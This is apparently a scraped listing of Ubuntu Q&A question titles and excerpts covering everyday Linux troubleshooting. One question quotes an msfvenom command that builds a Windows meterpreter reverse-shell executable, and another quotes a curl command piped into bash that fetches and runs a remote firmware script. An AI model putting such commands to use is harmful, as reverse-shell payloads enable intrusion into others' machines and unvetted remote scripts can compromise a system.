All Questions

Filter by
Sorted by
Tagged with
0
votes
1answer
18 views

KDE Auto Logout After Inactivity

How do I set KDE to automatically log out users after a period of inactivity? Reason: Shared server with many users. Some people leave themselves logged in to KDE for many days. Preferably want a ...
0
votes
0answers
13 views

how to install nvidia afox gt 610 driver?

am thinking about switching from windows OS to Linux mint for programming purposes.. but the thing is that my graphic card seems to be a NVIDIA but it isn't.. because whenever I try to install drivers ...
0
votes
0answers
11 views

Disappearing mailboxes

Ubuntu 20.04: Opened Evolution to find all mailboxes gone except my 2018 archive. Inbox, Sent, annual folders to 2008, all gone. Opened Evolution on my other laptop running Mint, and same thing, so it ...
-3
votes
0answers
20 views

Lenovo IdeaPad 5i linux compatibility [closed]

I was thinking of buying a Lenovo IdeaPad 5i. Is it Linux compatibility?
0
votes
0answers
37 views

MDADM - Looking for assurance I added a drive correctly

I had a 3 disk raid 0 using mdadm and I just tried to add a disk to the array to enable me to expand the space. The command was accepted however it then reported back that there were 5 disks in the ...
-1
votes
0answers
13 views

Python 2.7 built from source unable to import packages

I have an Ubuntu 14.04 VM running Python 2.7.6. 14.04 and Python 2.7 are requirements for what I'm working on, but I need to upgrade to a newer version of Python 2.7 because pip packages are failing ...
0
votes
0answers
7 views

Shellinabox to public server

Hey guys I was wondering will shellinabox work when connecting to a hosted ubuntu server (Not hosted locally)? I cant seem to get it working at all :( Thanks!
0
votes
0answers
16 views

How do I install Ubuntu on my HP Chromebook x360 14b?

I tried to install Ubuntu on my HP Chromebook x360 14b (I don't want to use crouton) but when tried to run the script cd;bash <(curl https://johnlewis.ie/flash_cb_fw.sh), it said that the model ...
-1
votes
0answers
11 views

Ubuntu Screen Flicker with Radeon 5000 series

There used to be a bug where Google Maps would crash me to desktop. I tried to fix this by installing the AMD linux drivers for my Radeon 5700XT. Ever since then my screen flickers. I uninstalled the ...
0
votes
0answers
24 views

How do I stop eth0 being renamed ens3

I am working with Digital Ocean and their help team is unable after over a dozen emails to help me register the network on a VPS spun up from their backup image. Their instructions to try to change ...
0
votes
0answers
24 views

Create Ubuntu usb drive on GPT

I'm trying to make a USB with ubuntu on it be bootable from Macs. I have made a working usb drive partitioned MBR, it boots on my laptop but not on Macs. I predict that the problem is that the usb ...
1
vote
0answers
23 views

On kubuntu with Plasma sound via Bluetooth works, starting Ubuntu/Wayland session, Bluetooth connects but no sound

On Kubuntu 20.04 (Plasma) Bluetooth sound starts the very moment I start my Bose Bluetooth-system. If it didn't, at least I could switch to it under 'Applications'. When I log out and log on again ...
0
votes
0answers
22 views

How to partition Ubuntu if i have many hard drives?

I'm changing from Windows to Ubuntu, but I have one 240 GB SSD, two 1TB HDD and one 4TB HDD. My problem comes here: I want to install Ubuntu and programs in the SSD and use one 1TB HDD for programs ...
0
votes
0answers
12 views

How to change gatttool security level?

I am trying to turn on a use boom via BLE, using gatttool and having problems, and I saw a thread on here suggesting to change the gatt security level, and after trying numerous ways of trying to do ...
0
votes
0answers
10 views

My camera and microphone are not working

My camera and microphone are not working,they are not listed on my hardware list when I open cheese I see this cheese Is there any thing that I can do ?
2
votes
2answers
61 views

Strange graphics issues such as flickering application windows and inconsistent display lagging [duplicate]

My computer was acting really strange; the windows were flickering and parts of windows of different applications were partly appearing at random places. Also when I was typing, my computer seemed to ...
0
votes
0answers
11 views

How to run two terminals for RS232, one for input, second for output in Python

I have simple terminal for serial communication and i would like to separate user input terminal (outgoing messages) from receiving inbound messages... It is pretty messy when terminal is still ...
0
votes
0answers
21 views

mounting home on a different hard drive and disk space issue?

I'm running ubuntu on raspberry pie 4 on a 16GB SD card, due to space issues i've moved the /home to an external 1TB hard drive and mounted it under /home: Filesystem 1K-blocks Used Available ...
0
votes
1answer
50 views

How to delete lubuntu from Windows 10 Dual Boot [Cannot see lubuntu partition]

Two weeks ago i installed Lubuntu for test purpose as dual boot. It installed GRUB as boot loader, but now i want to remove lubuntu from my disk, but i cannot find the linux partition. This is what i ...
0
votes
0answers
24 views

Duplex printing settings ignored when printing on Kyosera network printers via ipptool / cups

I have added several Kyosera network printers on Ubuntu 20.04 LTS via CUPS web admin console. They are all set up and working but double-sided printing settings are ignored and documents printed one-...
-1
votes
0answers
39 views

Game (Skyrim) in wine lagging bad after software update

i'm new to ubuntu and i think i just screwed up. an hour ago i installed the new software updates and after starting skyrim in playonlinux/wine it's lagging really bad (10fps). yesterday it worked ...
0
votes
0answers
24 views

How To Setup VSCode , Python interpreters?

new to linux , coming from windows 10 , had vscode setup on it , now vscode asks me to select a python interpreter, but i have a fresh install of ubuntu check the screenshot first, so why does it show ...
0
votes
2answers
22 views

How to upgrade from Ubuntu 14.04 (32-bit) to latest Ubuntu Budgie (64-bit)?

Ubuntu 14.04 (32-bit) is installed on my laptop along with Windows 7. I have barely used Ubuntu, but I'm on it now since Windows is troubling me. I was looking for a Ubuntu flavour that is light-...
1
vote
0answers
19 views

Ufw blocks incoming and outgoing connections

To update firewall rules, reloading ufw ufw reload blocking incoming and outgoing connections for around 2 seconds, untill it completes reload process. I have set already the default policy deny for ...
1
vote
2answers
32 views

cleaning out /var/backups

I find a lot of old, mostly dpkg, files in /var/backups. Some over a year old. I see in a cron file where dpkg creates the files as backup, but don't see anywhere that they're ever removed. Shouldn'...
1
vote
1answer
14 views

how to install Lexmark MS310Series V2XL printer driver in Libre Office in Ubuntu

Installation package for Lexmark MS310 Series printer in Win 10. Lexmark_MS310_MS410_Series_ADT_Installation_Package.exe Do you know of a similar package for UBUNTU? P.
1
vote
0answers
12 views

Passwords and Keys App: Is it possible to uncheck “Automatically Unlock Keyring whenever Im logged in”

(I think this is not a duplicate because the questions concerning unlocking the keyring are directed quite in the opposite direction...) When unlocking a keyring (not the LOGIN one) in the "...
0
votes
0answers
19 views

Ubuntun 32bit in Oracle virtual box not changing the keyboard layout

so I started reading this book "Hacking - The Art of Exploitation" by Jon Erickson. In the book, there's a CD that you can use to set up an Ubuntu 7.04 environment (I used an Oracle Virtual ...
1
vote
0answers
20 views

sda2 contains a file system.with errors , check.forced

Every time i start ubuntu this message will appear and after few seconds another messages appear as shown in pictureenter image description here
0
votes
0answers
30 views

Ubuntu Server Management - How do I stop hard drive space from creeping up over time?

I have been using ubuntu servers (not the full desktop version) for the last 5 years, I have consistently had the same issue with hard drive space creeping up over time. I use AWS CloudWatch to notify ...
1
vote
0answers
30 views

Gnome slowed down

I'm using Ubuntu 20.04.2 LTS. I didn't install any extension for gnome. I'm experiencing a slow down on gnome atm. I think it is related to gnome because animations and responds to clicking anywhere ...
1
vote
0answers
12 views

Pulseaudio not working right at login

So, I've been troubleshooting this since my sound card stopped working after a reboot a couple of days ago. I've made a lot of progress, but there's one last little thing I'm stuck on. Right now, when ...
0
votes
0answers
23 views

Freelance Synology & Linux Specialist, London, UK [closed]

I've been through a length support ticket with Synology support and they have recommended I look into data recovery for getting the data from my Synology SHR-2 RAID. It's a 5 drive SHR-2 RAID that was ...
1
vote
0answers
26 views

Ubuntu 21.04 beta on Mac Mini won't boot after updates [closed]

I've been trying to set up an old Apple Mac Mini as an Ubuntu desktop machine for testing etc. I was able to install the last LTS - 20.04 - and distros based upon that, such as Mint. However, with 21....
2
votes
0answers
15 views

Touchpad stopped working after suspend/sleep

Installed Ubuntu 20.04 early this week but i'm still struggling to make my touchpad working after waking up from suspend. I can confirmed that, touchpad will work again after it's completely shutdown (...
0
votes
1answer
18 views

IPTABLES/UFW: Deny ssh (on alternate port) requests from WAN, and allow ssh (on alternate port) from LAN. HOW TO?

I am running Ubuntu server version 20.04. I have configured my ssh server to listen on an alternate port (port 40001) in my sshd_config file. I want to allow incoming traffic from anywhere on my local ...
0
votes
1answer
27 views

Is there a way to install apt packages which doesnt require root permissions atleast, without sudo rights, and inside the home folder?

Like virtualenv in python, Is there a way to create a custom environment inside the home folder ( atleast for installing apt packages ), and without requiring sudo rights, and also without assuming ...
0
votes
0answers
36 views

Problem with speedtest-cli

I get this error when i try to run the command Retrieving speedtest.net configuration... Traceback (most recent call last): File "/usr/bin/speedtest", line 11, in <module> ...
3
votes
0answers
10 views

Gnome App Theme on Xubuntu 20.04

I am using Xubuntu with a Greybird light theme. When I run any gnome app (like gthumb / epiphany-browser) it shows up with a dark title bar or window. If I run the app from the terminal with : ...
-1
votes
0answers
19 views

Firefox and Chrome running together - CPU usage

I'm currently studying cybersecurity and I was asked this question - Why is it, that when launch both Chrome and Firefox together, the CPU usage isn't as high as running Chrome alone all by itself? ...
0
votes
0answers
15 views

OBS Studio window capturing(xcomposite) show black screen

I am using ubuntu groovy 20.10 on Xorg My laptop is Asus , AMD Ryzan 7 , NVIDIA GeForce MX350 I have installed all driver packages and I have set obs studio output encoder to Software(x264) but the ...
-5
votes
0answers
12 views

msfvenom not generating windows payload [closed]

The command I am using: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f exe payload.exe I am using msfvenom to generate a windows payload but I keep getting this error ...
0
votes
1answer
84 views

Ubuntu 20.04 Is Constantly Freezing

I recently switched to Ubuntu and I'm having problems with my computer's performance. The system freezes (I can't move the mouse either) while running extremely basic tasks, such as browsing and using ...
0
votes
0answers
14 views

Drives partitioned via server USB caddy not recognized by workstation eSATA (GPT PMBR size mismatch)

We use a USB 3.0 drive caddy (Sabrent EC-DFFN) connected to our Ubuntu 20.04 server for backups. And we are using several make/model 6TB spin drives in daily rotation (one drive per day). Each drive ...
0
votes
0answers
16 views

How to check if my device supports Wake on Wlan

There seems to be very little documentation about this. I didn't find much more than this page from canonical How can I check if my Wi-Fi device supports such a feature? And does also the motherboard ...
1
vote
1answer
19 views

Not able to use workspaces in ubuntu 20.04. Toogle workspace gnome extention is showing error can anyone help me?

My workspaces are not working, toogle work space gnome extension is also showing error please refer the screen shot attached
0
votes
1answer
28 views

Create Keyboard Macro to change modifier keys on Mac

I use parallels to run windows on my MacBook Pro for one of the application at work that requires hotkeys (such as Alt + C, Alt + X, Alt + Q etc). To ease my process while using this app, I tried ...
0
votes
0answers
22 views

How do I free up this space? [closed]

I am using Pop! OS on my Laptop with 64 gB SSD. ¯_(ツ)_/¯ It's been 4 days with me on my freshly installed OS. and this is my status: Top 5 directories with max storage consumed. All storage consumed....
0
votes
0answers
13 views

Hide Gnome Panel Through Terminal [duplicate]

I would love to hide the top bar through the terminal, but don't currently know how. Can somebody help me please?
0
votes
0answers
11 views

Remove DUO auth completely from ubuntu server 18.04 - two factor auth

I have an Ubuntu 18.04 server with DUO authentication. This DUO interferes with my capistrano deployment (rails app) For such, I have removed duo auth with sudo apt-get remove duo-unix Then I logged ...

15 30 50 per page